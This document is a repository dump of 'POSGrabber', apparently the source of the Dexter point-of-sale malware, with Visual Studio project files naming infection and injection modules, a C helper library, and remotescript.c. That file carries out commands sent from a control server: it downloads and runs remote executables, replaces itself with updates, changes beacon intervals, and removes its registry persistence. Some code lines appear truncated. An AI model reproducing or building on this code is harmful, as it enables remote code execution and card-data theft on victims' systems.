31 |
32 | !IF "$(CFG)" == "POSGrabber - Win32 Release"
33 |
34 | # PROP BASE Use_MFC 0
35 | # PROP BASE Use_Debug_Libraries 0
36 | # PROP BASE Output_Dir "Release"
37 | # PROP BASE Intermediate_Dir "Release"
38 | # PROP BASE Target_Dir ""
39 | # PROP Use_MFC 0
40 | # PROP Use_Debug_Libraries 0
41 | # PROP Output_Dir "Release"
42 | # PROP Intermediate_Dir "Release"
43 | # PROP Target_Dir ""
44 | # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /c
45 | # ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /c
46 | # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
47 | # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
48 | # ADD BASE RSC /l 0x409 /d "NDEBUG"
49 | # ADD RSC /l 0x409 /d "NDEBUG"
50 | BSC32=bscmake.exe
51 | # ADD BASE BSC32 /nologo
52 | # ADD BSC32 /nologo
53 | LINK32=link.exe
54 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386
55 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386
56 |
57 | !ELSEIF "$(CFG)" == "POSGrabber - Win32 Debug"
58 |
59 | # PROP BASE Use_MFC 0
60 | # PROP BASE Use_Debug_Libraries 1
61 | # PROP BASE Output_Dir "Debug"
62 | # PROP BASE Intermediate_Dir "Debug"
63 | # PROP BASE Target_Dir ""
64 | # PROP Use_MFC 0
65 | # PROP Use_Debug_Libraries 1
66 | # PROP Output_Dir "Debug"
67 | # PROP Intermediate_Dir "Debug"
68 | # PROP Target_Dir ""
69 | # ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /GZ /c
70 | # ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /GZ /c
71 | # ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
72 | # ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
73 | # ADD BASE RSC /l 0x409 /d "_DEBUG"
74 | # ADD RSC /l 0x409 /d "_DEBUG"
75 | BSC32=bscmake.exe
76 | # ADD BASE BSC32 /nologo
77 | # ADD BSC32 /nologo
78 | LINK32=link.exe
79 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept
80 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept
81 |
82 | !ENDIF
83 |
84 | # Begin Target
85 |
86 | # Name "POSGrabber - Win32 Release"
87 | # Name "POSGrabber - Win32 Debug"
88 | # Begin Group "Source Files"
89 |
90 | # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
91 | # Begin Source File
92 |
93 | SOURCE=.\HttpInteract.c
94 | # End Source File
95 | # Begin Source File
96 |
97 | SOURCE=.\Infect.c
98 | # End Source File
99 | # Begin Source File
100 |
101 | SOURCE=.\InjectSection.c
102 | # End Source File
103 | # Begin Source File
104 |
105 | SOURCE=.\POSGrabber.c
106 | # End Source File
107 | # End Group
108 | # Begin Group "Header Files"
109 |
110 | # PROP Default_Filter "h;hpp;hxx;hm;inl"
111 | # Begin Source File
112 |
113 | SOURCE=.\Config.h
114 | # End Source File
115 | # Begin Source File
116 |
117 | SOURCE=.\Globals.h
118 | # End Source File
119 | # End Group
120 | # Begin Group "Resource Files"
121 |
122 | # PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
123 | # End Group
124 | # End Target
125 | # End Project
126 |
--------------------------------------------------------------------------------
/source/POSGrabber.dsw:
--------------------------------------------------------------------------------
1 | Microsoft Developer Studio Workspace File, Format Version 6.00
2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!
3 |
4 | ###############################################################################
5 |
6 | Project: "POSGrabber"=".\POSGrabber.dsp" - Package Owner=<4>
7 |
8 | Package=<5>
9 | {{{
10 | }}}
11 |
12 | Package=<4>
13 | {{{
14 | }}}
15 |
16 | ###############################################################################
17 |
18 | Global:
19 |
20 | Package=<5>
21 | {{{
22 | }}}
23 |
24 | Package=<3>
25 | {{{
26 | }}}
27 |
28 | ###############################################################################
29 |
30 |
--------------------------------------------------------------------------------
/source/POSGrabber.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 11.00
3 | # Visual C++ Express 2010
4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "posgrabber", "posgrabber.vcxproj", "{63EAE1C4-F0C0-A4E7-04C1-13F4939510EB}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|Win32 = Debug|Win32
9 | Release|Win32 = Release|Win32
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {63EAE1C4-F0C0-A4E7-04C1-13F4939510EB}.Debug|Win32.ActiveCfg = Debug|Win32
13 | {63EAE1C4-F0C0-A4E7-04C1-13F4939510EB}.Debug|Win32.Build.0 = Debug|Win32
14 | {63EAE1C4-F0C0-A4E7-04C1-13F4939510EB}.Release|Win32.ActiveCfg = Release|Win32
15 | {63EAE1C4-F0C0-A4E7-04C1-13F4939510EB}.Release|Win32.Build.0 = Release|Win32
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/source/POSGrabber.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nyx0/Dexter/efe615e7bec4628c4550816b0c5f50fc0c03264f/source/POSGrabber.suo
--------------------------------------------------------------------------------
/source/POSGrabber.vcproj:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
12 |
13 |
14 |
15 |
16 |
26 |
29 |
32 |
35 |
38 |
47 |
64 |
67 |
72 |
75 |
85 |
88 |
91 |
94 |
99 |
102 |
105 |
108 |
111 |
112 |
122 |
125 |
128 |
131 |
134 |
143 |
158 |
161 |
166 |
169 |
179 |
182 |
185 |
188 |
193 |
196 |
199 |
202 |
205 |
206 |
207 |
208 |
209 |
210 |
214 |
217 |
218 |
221 |
222 |
225 |
228 |
232 |
233 |
236 |
240 |
241 |
242 |
245 |
248 |
252 |
253 |
256 |
260 |
261 |
262 |
265 |
268 |
272 |
273 |
276 |
280 |
281 |
282 |
285 |
288 |
292 |
293 |
296 |
300 |
301 |
302 |
305 |
306 |
307 |
311 |
314 |
315 |
318 |
319 |
320 |
324 |
325 |
326 |
327 |
328 |
329 |
--------------------------------------------------------------------------------
/source/common.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include "Globals.h"
4 |
5 | void *_memset(void *s, int c, size_t n) {
6 |
7 | size_t i;
8 | char * ptr = s;
9 |
10 | for (i = 0; i < n; i++, ptr++)
11 | {
12 | *ptr = c;
13 | }
14 | return s;
15 | }
16 |
17 | void *_memcpy(void* dest, const void* src, size_t count) {
18 | char* dst8 = (char*)dest;
19 | char* src8 = (char*)src;
20 |
21 | while (count--) {
22 | *dst8++ = *src8++;
23 | }
24 | return dest;
25 | }
26 |
27 | int base64_decode(const BYTE* pSrc, int nLenSrc, char* pDst, int nLenDst) {
28 |
29 | BYTE s1,s2,s3,s4;
30 | BYTE d1,d2,d3;
31 |
32 | int j,nLenOut= 0;
33 | for(j=0; j nLenDst ) {
35 | return( 0 ); // error, buffer too small
36 | }
37 |
38 | s1= LookupDigits[ *pSrc++ ];
39 | s2= LookupDigits[ *pSrc++ ];
40 | s3= LookupDigits[ *pSrc++ ];
41 | s4= LookupDigits[ *pSrc++ ];
42 |
43 | d1= ((s1 & 0x3f) << 2) | ((s2 & 0x30) >> 4);
44 | d2= ((s2 & 0x0f) << 4) | ((s3 & 0x3c) >> 2);
45 | d3= ((s3 & 0x03) << 6) | ((s4 & 0x3f) >> 0);
46 |
47 | *pDst++ = d1; nLenOut++;
48 | if (s3==99) break; // end padding found
49 | *pDst++ = d2; nLenOut++;
50 | if (s4==99) break; // end padding found
51 | *pDst++ = d3; nLenOut++;
52 | }
53 |
54 | return(nLenOut);
55 | }
56 |
57 | void _xor(char *src,char *key,int srclen,int keylen) {
58 | int i;
59 |
60 | i = 0;
61 | while(srclen>0) {
62 | while(i> 2) & 0x3f];
80 | if (!--output_len)
81 | break;
82 | *output_buffer++ = b64str[(((unsigned char)(input_buffer[0]) << 4)
83 | + (--input_len ? (unsigned char)(input_buffer[1]) >> 4 : 0))
84 | & 0x3f
85 | ];
86 | if (!--output_len)
87 | break;
88 | *output_buffer++ =
89 | (input_len ?
90 | b64str[
91 | (
92 | ((unsigned char)(input_buffer[1]) << 2) +
93 | (--input_len ? (unsigned char)(input_buffer[2]) >> 6 : 0)
94 | ) & 0x3f
95 | ]
96 | : '=');
97 |
98 | if (!--output_len)
99 | break;
100 | *output_buffer++ = input_len ? b64str[(unsigned char)(input_buffer[2]) & 0x3f] : '=';
101 | if (!--output_len)
102 | break;
103 | if (input_len)
104 | input_len--;
105 | if (input_len)
106 | input_buffer += 3;
107 | }
108 |
109 | *output_buffer = '\0';
110 | }
111 |
112 | char ny_toLower(char c){
113 |
114 | //if(c == 0x00) return c;
115 | if(c >= 'A' && c <= 'Z') c -= (char)('A' - 'a');
116 | return c;
117 | }
118 |
119 |
120 | int check_digit (char c) {
121 | return (c>='0') && (c<='9');
122 | }
123 |
124 | char from_hex(char ch) {
125 | return check_digit(ch) ? ch - '0' : ny_toLower(ch) - 'a' + 10;
126 | }
127 |
128 | void url_decode(char *str, char *buf) {
129 |
130 | char *pstr = str, *pbuf = buf;
131 |
132 | while (*pstr) {
133 | if (*pstr == '%') {
134 | if (pstr[1] && pstr[2]) {
135 | *pbuf++ = from_hex(pstr[1]) << 4 | from_hex(pstr[2]);
136 | pstr += 2;
137 | }
138 | } else if (*pstr == '+') {
139 | *pbuf++ = ' ';
140 | } else {
141 | *pbuf++ = *pstr;
142 | }
143 | pstr++;
144 | }
145 | *pbuf = '\0';
146 | }
147 |
148 | int _atoi(const char *string) {
149 |
150 | int i;
151 |
152 |
153 | i=0;
154 | while(*string)
155 | {
156 | i=(i<<3) + (i<<1) + (*string - '0');
157 | string++;
158 | }
159 |
160 | return(i);
161 | }
162 |
163 | int CopyTill(char *dest,char *src,char c) {
164 |
165 | int i;
166 |
167 | i = 0;
168 | while(*src!=c) {
169 | *dest = *src;
170 | dest++;
171 | src++;
172 | i++;
173 | }
174 | *dest = 0x00;
175 |
176 | return i;
177 | }
178 |
179 | void RandStrA(char *ptr,int len) {
180 |
181 | int i;
182 | char c;
183 |
184 | i = 0;
185 | _srand(GetTickCount());
186 |
187 | while(i= 0 && ulSize == sizeof(pbi))
300 | return pbi[5];
301 | }
302 | return (ULONG_PTR)-1;
303 | }
304 |
305 | void MonitorShutdown() {
306 |
307 | MSG msg;
308 | WNDCLASSEX wcex;
309 |
310 |
311 | wcex.cbSize = sizeof(WNDCLASSEX);
312 | wcex.style = CS_HREDRAW | CS_VREDRAW;
313 | wcex.lpfnWndProc = (WNDPROC)DetectShutdown;
314 | wcex.cbClsExtra = 0;
315 | wcex.cbWndExtra = 0;
316 | wcex.hInstance = NULL;
317 | wcex.hIcon = NULL;
318 | wcex.hCursor = NULL;
319 | wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
320 | wcex.lpszMenuName = NULL;
321 | wcex.lpszClassName = ClassName;
322 | wcex.hIconSm = NULL;
323 | RegisterClassEx(&wcex);
324 |
325 | CreateWindowEx(WS_EX_TOPMOST|WS_EX_TOOLWINDOW,ClassName,NULL,WS_POPUP,0,0,0,0,NULL,NULL,NULL,NULL);
326 |
327 | while(GetMessage(&msg,0,0,0) > 0) {
328 |
329 | TranslateMessage(&msg);
330 | DispatchMessage(&msg);
331 | }
332 |
333 | }
--------------------------------------------------------------------------------
/source/posgrabber.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 |
14 | Win32Proj
15 |
16 |
17 |
18 | Application
19 | true
20 |
21 |
22 | Application
23 | false
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 | true
37 |
38 |
39 | false
40 | false
41 |
42 |
43 |
44 | WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions)
45 | MultiThreadedDebugDLL
46 | Level3
47 | ProgramDatabase
48 | Disabled
49 |
50 |
51 | MachineX86
52 | true
53 | Windows
54 |
55 |
56 |
57 |
58 | WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions)
59 | MultiThreaded
60 | Level3
61 | ProgramDatabase
62 | Disabled
63 | Default
64 | true
65 | true
66 | false
67 | false
68 | false
69 |
70 |
71 | MachineX86
72 | false
73 | Windows
74 | true
75 | true
76 | false
77 | false
78 | false
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
--------------------------------------------------------------------------------
/source/posgrabber.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files
32 |
33 |
34 | Source Files
35 |
36 |
37 | Source Files
38 |
39 |
40 | Source Files
41 |
42 |
43 |
44 |
45 | Header Files
46 |
47 |
48 | Header Files
49 |
50 |
51 | Header Files
52 |
53 |
54 | Header Files
55 |
56 |
57 |
58 |
59 |
60 |
61 |
--------------------------------------------------------------------------------
/source/posgrabber.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/source/remotescript.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include "Globals.h"
7 |
8 | #pragma comment(lib, "wininet.lib")
9 | #pragma comment(lib, "shlwapi.lib")
10 |
11 |
12 |
13 |
14 | void ExecCommands(char *pCommands) {
15 |
16 | char Url[255],val[5];
17 | DWORD dVal;
18 |
19 |
20 | pCommands++; //skip '$'
21 | ///MessageBox(NULL,pCommands,NULL,MB_OK);
22 | while(*pCommands!='#' && lstrlen(pCommands)) {
23 |
24 | if(StrCmpNI(pCommands,update,lstrlen(update))==0) {
25 |
26 | pCommands += lstrlen(update);
27 | CopyTill(Url,pCommands,';');
28 | lstrcat(Url,varKey);
29 | lstrcat(Url,Key);
30 | Update(Url);
31 | } else
32 | if(StrCmpNI(pCommands,checkin,lstrlen(checkin))==0) {
33 |
34 | pCommands += lstrlen(checkin);
35 | pCommands += CopyTill(val,pCommands,';');
36 | pCommands += 1;
37 |
38 | dVal = _atoi(val);
39 | if(dVal>0) { ConnectInterval = dVal; }
40 |
41 | } else
42 | if(StrCmpNI(pCommands,scanin,lstrlen(scanin))==0) {
43 |
44 | pCommands += lstrlen(scanin);
45 | pCommands += CopyTill(val,pCommands,';');
46 | pCommands += 1;
47 |
48 | dVal = _atoi(val);
49 | if(dVal>0) { ScanInterval = dVal; }
50 | } else
51 | if(StrCmpNI(pCommands,uninstall,lstrlen(uninstall))==0) {
52 | Uninstall();
53 | } else
54 | if(StrCmpNI(pCommands,download,lstrlen(download))==0) {
55 |
56 | pCommands += lstrlen(download);
57 | pCommands += CopyTill(Url,pCommands,';');
58 | pCommands += 1;
59 |
60 | lstrcat(Url,varKey);
61 | lstrcat(Url,Key);
62 |
63 | Downloader(Url);
64 | }
65 |
66 | }
67 | }
68 |
69 | void Downloader(char *Url) { //Downloads file in temporary internet files and executes it
70 |
71 | BYTE *pFile;
72 | HANDLE hFile;
73 | DWORD FileSize,BytesWritten;
74 | WCHAR InternetTemp[MAX_PATH],DownloadLocation[MAX_PATH],DirName[5];
75 | STARTUPINFOW si;
76 | PROCESS_INFORMATION pi;
77 |
78 |
79 | pFile = NULL;
80 | if((pFile = DownloadFile(Url,&FileSize))!=NULL) {
81 |
82 | SHGetFolderPathW(0,CSIDL_INTERNET_CACHE,NULL,SHGFP_TYPE_CURRENT,InternetTemp);
83 |
84 | RandStrW(DirName,5);
85 |
86 | wsprintfW(DownloadLocation,L"%s\\%s",InternetTemp,DirName);
87 | CreateDirectoryW(DownloadLocation,NULL);
88 | wsprintfW(DownloadLocation,L"%s\\%s\\%s.exe",InternetTemp,DirName,DirName);
89 |
90 | hFile = CreateFileW(DownloadLocation,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
91 | BytesWritten = 0;
92 | WriteFile(hFile,pFile,FileSize,&BytesWritten,NULL);
93 | CloseHandle(hFile);
94 |
95 | VirtualFree(pFile,FileSize,MEM_DECOMMIT); //free the download file
96 |
97 |
98 | //Launch the new bin
99 | _memset(&si,0x00,sizeof(si));
100 | _memset(&pi,0x00,sizeof(pi));
101 |
102 | CreateProcessW(DownloadLocation,NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);
103 |
104 | }
105 |
106 | }
107 |
108 | void Uninstall() {
109 |
110 | HANDLE hProcess;
111 |
112 | //Terminate the working threads
113 | TerminateThread(hThreadRegistry,0);
114 | TerminateThread(hThreadChild,0);
115 | TerminateThread(hThreadScan,0);
116 | ///////////////////////////////////
117 |
118 | //Kill the child process
119 | hProcess = OpenProcess(PROCESS_TERMINATE,FALSE,ChildPID);
120 | TerminateProcess(hProcess,0);
121 | CloseHandle(hProcess);
122 | ////////////////////////////////////////////////////////
123 |
124 | //Delete main reg key
125 | RegDeleteKey(HKEY_CURRENT_USER,SoftwareName);
126 | ///////////////////
127 |
128 | //Delete startup reg keys
129 | RegDeleteKey(HKEY_LOCAL_MACHINE,RunPath);
130 | RegDeleteKey(HKEY_USERS,AllUsersRunPath);
131 | RegDeleteKey(HKEY_CURRENT_USER,RunPath);
132 | //////////////////////////////////////////////////////
133 |
134 | //Delete the file
135 | DeleteFileW(CurrentLocation);
136 | ///////////////////////
137 |
138 | ExitProcess(0);
139 | }
140 | void Update(char *Url) {
141 |
142 | HANDLE hFile,hProcess,hUpdateMutex;
143 | DWORD BytesWritten,FileSize,i;
144 | BYTE *pFile;
145 | STARTUPINFOW si;
146 | PROCESS_INFORMATION pi;
147 | char UpdateMutexString[64];
148 | WCHAR CommandLine[64],DirName[5],AppData[MAX_PATH],UpdateLocation[MAX_PATH];
149 |
150 |
151 | pFile = NULL;
152 | if((pFile = DownloadFile(Url,&FileSize))!=NULL) {
153 |
154 | SuspendThread(hThreadRegistry);
155 | SuspendThread(hThreadChild);
156 | SuspendThread(hThreadScan);
157 |
158 | RandStrW(DirName,5);
159 | SHGetFolderPathW(0,CSIDL_APPDATA,NULL,SHGFP_TYPE_CURRENT,AppData);
160 |
161 | wsprintfW(UpdateLocation,L"%s\\%s",AppData,DirName);
162 | CreateDirectoryW(UpdateLocation,NULL);
163 | wsprintfW(UpdateLocation,L"%s\\%s\\%s.exe",AppData,DirName,DirName);
164 |
165 | hFile = CreateFileW(UpdateLocation,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
166 | BytesWritten = 0;
167 | WriteFile(hFile,pFile,FileSize,&BytesWritten,NULL);
168 | CloseHandle(hFile);
169 |
170 | VirtualFree(pFile,FileSize,MEM_DECOMMIT); //free the download file
171 |
172 | //Launch the new bin
173 | _memset(&si,0x00,sizeof(si));
174 | _memset(&pi,0x00,sizeof(pi));
175 |
176 | _memset(UpdateMutexString,0x00,sizeof(UpdateMutexString));
177 | _memset(CommandLine,0x00,sizeof(CommandLine));
178 | wsprintf(UpdateMutexString,"%s%s",UpdateMutexMark,Key);
179 | MultiByteToWideChar(CP_ACP,0,UpdateMutexString,lstrlen(UpdateMutexString),CommandLine,sizeof(CommandLine));
180 |
181 | if(CreateProcessW(UpdateLocation,CommandLine,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi)!=0) { //process successfully created
182 |
183 | i = 0;
184 | while(i<60) { //Wait 1 min for the mutex
185 |
186 | SetLastError(ERROR_SUCCESS);
187 | hUpdateMutex = CreateMutex(NULL,FALSE,UpdateMutexString);
188 | if(GetLastError()==ERROR_ALREADY_EXISTS) { //Seems like the updatebin worked fine
189 |
190 | //Kill the threads
191 | TerminateThread(hThreadRegistry,0);
192 | TerminateThread(hThreadChild,0);
193 | TerminateThread(hThreadScan,0);
194 | ///////////////////////////////////////
195 |
196 | //Kill the child process
197 | hProcess = OpenProcess(PROCESS_TERMINATE,FALSE,ChildPID);
198 | TerminateProcess(hProcess,0);
199 | CloseHandle(hProcess);
200 | ////////////////////////////////////////////////////////
201 |
202 | DeleteFileW(CurrentLocation);
203 |
204 | CloseHandle(hUpdateMutex);
205 | CloseHandle((HANDLE)hMutex);
206 |
207 | _memset(UpdateMutexString,0x00,sizeof(UpdateMutexString));
208 | wsprintf(UpdateMutexString,"%s%s%d",UpdateMutexMark,Key,pi.dwProcessId);
209 |
210 | CreateMutex(NULL,FALSE,UpdateMutexString); //Tells to the update bin that it can start normal execution flow
211 | while(1) { Sleep(5000); } //Waits to be killed by the update bin
212 | }
213 |
214 | CloseHandle(hUpdateMutex);
215 | i++;
216 | Sleep(1000);
217 | }
218 | }
219 | ///////////////////////////////////////////////
220 |
221 | } //Checks if file was downloaded
222 |
223 | //Update failed - resume work
224 | ResumeThread(hThreadRegistry);
225 | ResumeThread(hThreadChild);
226 | ResumeThread(hThreadScan);
227 | }
228 |
229 |
--------------------------------------------------------------------------------